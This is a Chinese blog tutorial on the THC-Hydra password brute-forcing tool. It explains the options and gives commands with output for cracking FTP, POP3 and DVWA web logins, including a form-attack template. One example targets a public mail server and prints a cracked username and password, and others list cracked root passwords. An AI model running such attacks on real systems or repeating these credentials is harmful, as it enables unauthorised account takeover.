http://www.cnblogs.com/mchina/archive/2013/01/01/2840815.html

https://www.thc.org/thc-hydra/

语法

# hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e ns]
[-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-f] [-s PORT] [-S] [-vV]
server service [OPT]

-R 继续从上一次进度接着破解

-S 大写,采用SSL链接

-s <PORT>小写,可通过这个参数指定非默认端口

-l <LOGIN>指定破解的用户,对特定用户破解

-L <FILE>指定用户名字典

    -p <PASS>小写,指定密码破解,少用,一般是采用密码字典

-P <FILE>大写,指定密码字典

-e <ns>可选选项,n:空密码试探,s:使用指定用户和密码试探

-C <FILE>使用冒号分割格式,例如“登录名:密码”来代替-L/-P参数

-M <FILE>指定目标列表文件一行一条

-o <FILE>指定结果输出文件

-f在使用-M参数以后,找到第一对登录名或者密码的时候中止破解

-t <TASKS>同时运行的线程数,默认为16

-w <TIME>设置最大超时的时间,单位秒,默认是30s

-v / -V显示详细过程

server目标ip

service
指定服务名,支持的服务和协议:telnet
ftp pop3[-ntlm] imap[-ntlm] smb smbnt http[s]-{head|get} http-{get|post}-form
http-proxy cisco cisco-enable vnc ldap2 ldap3 mssql mysql oracle-listener
postgres nntp socks5 rexec rlogin pcnfs snmp rsh cvs svn icq sapr3 ssh2
smtp-auth[-ntlm] pcanywhere teamspeak sip vmauthd firebird ncp afp等等

具体示例, 首先要备好用户名和密码列表

root@kali:~/DailyPentest/BruteForce# more user.list psswd.list
::::::::::::::
user.list
::::::::::::::
admin
root
hello
wokao
msfadmin
ccadmin
::::::::::::::
psswd.list
:::::::::::::: msfadmin
love
admin123
lovemm

破ftp/telnet/ssh等,方法类似,只要确定对方相应端口是否有打开即可进行破解

root@kali:~/DailyPentest/BruteForce# hydra -L ./user.list  -P psswd.list -e ns -t  192.168.0.102 ftp
Hydra v7. (c) by van Hauser/THC & David Maciejak - for legal purposes only Hydra (http://www.thc.org/thc-hydra) starting at 2014-01-01 22:17:06
[DATA] tasks, server, login tries (l:/p:), ~ tries per task
[DATA] attacking service ftp on port
[][ftp] host: 192.168.0.102 login: msfadmin password: msfadmin

利用-M参数可以批量破解主机。

ubuntu@ubuntu:~/test/tmp/hydra-7.6/bin$ ./hydra -L user.txt -P passwd.txt  -M ip1003.txt ftp
Hydra v7. (c) by van Hauser/THC & David Maciejak - for legal purposes only Hydra (http://www.thc.org/thc-hydra) starting at 2014-01-02 19:02:58
[WARNING] More tasks defined per server than allowed for maximal connections. Tasks reduced to .
[DATA] task, servers, login tries (l:/p:), ~ tries per task
[DATA] attacking service ftp on port
[][ftp] host: 10.0.3.90 login: root password: adcadmin
[][ftp] host: 10.0.3.90 login: p4admin password: p4admin
[][ftp] host: 10.0.3.91 login: root password: swa_123
[][ftp] host: 10.0.3.109 login: root password: adcadmin
[][ftp] host: 10.0.3.103 login: root password: adcadmin
[][ftp] host: 10.0.3.176 login: root password: adcadmin
[][ftp] host: 10.0.3.179 login: root password: adcadmin
[][ftp] host: 10.0.3.112 login: root password: adcadmin
[][ftp] host: 10.0.3.91 login: p4admin password: p42012

破解邮箱。。。

root@kali:~/DailyPentest/BruteForce# hydra -L user.list -P psswd.list  134.147.16.53 pop3
Hydra v7. (c) by van Hauser/THC & David Maciejak - for legal purposes only Hydra (http://www.thc.org/thc-hydra) starting at 2014-01-03 22:21:55
[DATA] tasks, server, login tries (l:/p:), ~ tries per task
[DATA] attacking service pop3 on port
[][pop3] host: 134.147.16.53 login: katestj password: 8gafgl
of target successfully completed, valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2014-01-03 22:22:46

破http post form,这个稍麻烦一点,需要抓包并按规则写下输入信息

root@kali:~/DailyPentest/BruteForce# hydra -L ~/DailyPentest/BruteForce/user.list -P ~/DailyPentest/BruteForce/psswd.list  192.168.0.102 http-get-form "/dvwa/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login#:Username and/or password incorrect.:H=Cookie: security=low; PHPSESSID=1ba0d80129e941f900a95135cc49ef54"
Hydra v7. (c) by van Hauser/THC & David Maciejak - for legal purposes only Hydra (http://www.thc.org/thc-hydra) starting at 2014-01-01 22:23:21
[DATA] tasks, server, login tries (l:/p:), ~ tries per task
[DATA] attacking service http-get-form on port
[][www-form] host: 192.168.0.102 login: admin password:
of target successfully completed, valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2014-01-01 22:23:25

get方式提交,破解web登录

 # hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns ip http-get /admin/
 # hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns -f ip http-get /admin/index.php

post方式提交,破解web登录:

该软件的强大之处就在于支持多种协议的破解,同样也支持对于web用户界面的登录破解,get方式提交的表单比较简单,这里通过post方式提交密码破解提供思路。该工具有一个不好的地方就是,如果目标网站登录时候需要验证码就无法破解了。

带参数破解如下:

<form action="index.php" method="POST">
<input type="text" name="name" /><BR><br>
<input type="password" name="pwd" /><br><br>
<input type="submit" name="sub" value="提交">
</form>

假设有以上一个密码登录表单,我们执行命令:

# hydra -l admin -P pass.lst -o ok.lst -t  -f 127.0.0.1 http-post-form “index.php:name=^USER^&pwd=^PASS^:<title>invalido</title>”

破解的用户名是admin,密码字典是pass.lst,破解结果保存在ok.lst,-t 是同时线程数为1,-f 是当破解了一个密码就停止,ip 是本地,就是目标ip,http-post-form表示破解是采用http 的post 方式提交的表单密码破解。

后面参数是网页中对应的表单字段的name 属性,后面<title>中的内容是表示错误猜解的返回信息提示,可以自定义。

对dvwa brute form界面的破解

root@kali:~/DailyPentest/BruteForce# hydra -L user.list -P psswd.list  192.168.0.104 http-get-form "/dvwa/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login#:Username and/or password incorrect.:H=Cookie: security=low; PHPSESSID=481b089a941d0aecc848227e2e90202e"
Hydra v7. (c) by van Hauser/THC & David Maciejak - for legal purposes only Hydra (http://www.thc.org/thc-hydra) starting at 2014-01-03 22:14:44
[DATA] tasks, server, login tries (l:/p:), ~ tries per task
[DATA] attacking service http-get-form on port
[][www-form] host: 192.168.0.104 login: admin password:
of target successfully completed, valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2014-01-03 22:14:51

:H其实是用来手动添加Header 域的, 比如上面的我们手动添加了 :H=Cookie: security=low; PHPSESSID=o7qiqd9fc1d003u9d38k64t0f4, 这其实是告诉hydra每次get或者post的时候要添加上这个:H后面的头部的域。没有这个选项无法成功。。

hydra 及相关示例的更多相关文章

  1. hydra简单使用示例

    本内容为网上收集整理,仅作为备忘!! hydra简单使用示例: 破解https: # hydra -m /index.php -l muts -P pass.txt 10.36.16.18 https ...

  2. 2019.9.25使用BP和Hydra爆破相关的服务

    使用BP和Hydra爆破相关的服务. Hydra:九头蛇,开源的功能强大的爆破工具,支持的服务有很多,使用hydra爆破c/s架构的服务.使用bp爆破web登录端口. dvwa:web应用程序漏洞演练 ...

  3. 使用BurpSuite和Hydra爆破相关的服务(9.25 第十一天)

    使用BP和Hydra爆破相关的服务 Hydra:九头蛇,开源的功能强大的爆破工具,支持的服务有很多,使用Hydra爆破C/S架构的服务. 使用BurpSuite爆破web服务 DVWA:web应用程序 ...

  4. Jquery DataTables相关示例

    一.Jquery-DataTables DataTables 是jquery的一个开源的插件.它具有高度灵活的特性,基于渐进增强的基础,可以为任何表格添加交互.它特性如下: 提供分页,搜索和多列排序: ...

  5. java 中Int和Integer区别以及相关示例

    Java是一个近乎纯洁的面向对象编程语言,但是为了编程的方便还是引入不是对象的基本数据类型,但是为了能够将这些基本数据类型当成对象操作,Java为每一个基本数据类型都引入了对应的包装类型(wrappe ...

  6. Linux上的文件管理类命令都有哪些,其常用的使用方法及其相关示例演示

    目录管理命令ls:列出指定目录下的内容格式: ls [OPTION]... [FILE]...   -a:显示所有文件包括隐藏文件   -A:显示除.和..之外的所有文件   -l,--long:显示 ...

  7. javascript阻止事件冒泡的兼容写法及其相关示例

    //阻止事件冒泡的兼容写法 function stopBubble(e){ //如果提供了事件对象,则是一个非IE浏览器 if(e && e.stopPropagation) //因此 ...

  8. 【三小时学会Kubernetes!(零) 】系统结构及相关示例微服务介绍

    写在前面 牢牢占据容器技术统治地位的 Kubernetes,其重要性想必不言而喻,我保证本文是最详尽的 Kubernetes 技术文档,从我在后台排版了这么漫长的时间就能看出来.废话不多说 — — 以 ...

  9. PostgreSQL 增量备份详解以及相关示例

    PostgreSQL 没有类似MySQL 的二进制日志, 但是有和MySQL 类似的REDO LOG,并且有MySQL 没有的REDO 归档功能.当然REDO 的归档已经MariaDB 和Percon ...

随机推荐

  1. Bootstrap小体验

    感觉很不错,给人一种清淅 明了的感觉

  2. R语言-Paste函数

    该函数和excel中的&一样,可以将不同类型的数据放在一起. paste(....,sep="",collapse=NULL) ...表示要加在一起的数据类型,e.g ​p ...

  3. mysql 删除

    DROP删表,表结构将删了,当然数据也不存在了 TRUNCATE和DELETE删数据,表结构还在 DELETE可以带条件删除,TRUNCATE是全部删除 DELETE删除会写日志,TRUNCATE不写 ...

  4. L0、L1及L2范数

    L1归一化和L2归一化范数的详解和区别 https://blog.csdn.net/u014381600/article/details/54341317 深度学习——L0.L1及L2范数 https ...

  5. 【2】JVM-JAVA对象的访问

    Java中对象的访问 JAVA是面向对象的语言,那么在JAVA虚拟机中,存在非常多的对象,对象访问是无处不在的.即时是最简单的访问,也会涉及到JAVA栈.JAVA堆.方法区这三个非常重要的内存区域之间 ...

  6. C++ 面向对象 类成员函数this指针

    每个类成员函数都只涉及一个对象, 即调用它的对象. 但有时候方法可能涉及到两个对象, 在这种情况下需要使用C++ 的 this 指针 假设将方法命名为topval(), 则函数调用stock1.top ...

  7. webpy 使用python3开发

    由于做服务器时总是需要调式与客户端的各种协议,由于种种原因客户端总是滞后的.所以一直想做个协议调试工具.postman是一个好东西,不过如果前后协议之间有关联,就不是很好用了. 之前用python写过 ...

  8. [原创] Keil uVision5 下载程序 add flash programming algorithm选项缺少需要的算法解决办法

    MDK开发环境从V4升级到V5后,支持包不再是集成到开发环境当中,而是封装在PACK中,需要自行安装,比较麻烦. 搭建MDK开发环境以及破解的方法,在前面的文章中有详细说明,这里不再赘述,有兴趣的可以 ...

  9. python pip 更换国内安装源(windows)

    1.点击此电脑,在最上面的的文件夹窗口输入 : %APPDATA% 2.按回车跳转到以下目录,新建pip文件夹 3.创建pip.ini文件 4.打开文件夹,输入以下内容,关闭即可(注意:源镜像可替换) ...

  10. JS性能细节学习初步总结

    1,声明变量要赋初值2,尽量避免声明全局变量,可以减少与系统的重名3,当编写大量js代码时,难免会遇到命名冲突,这是可以通过模拟命名空间方式     来避免冲突4,尽量避免使用全局变量,搜索全局变量是 ...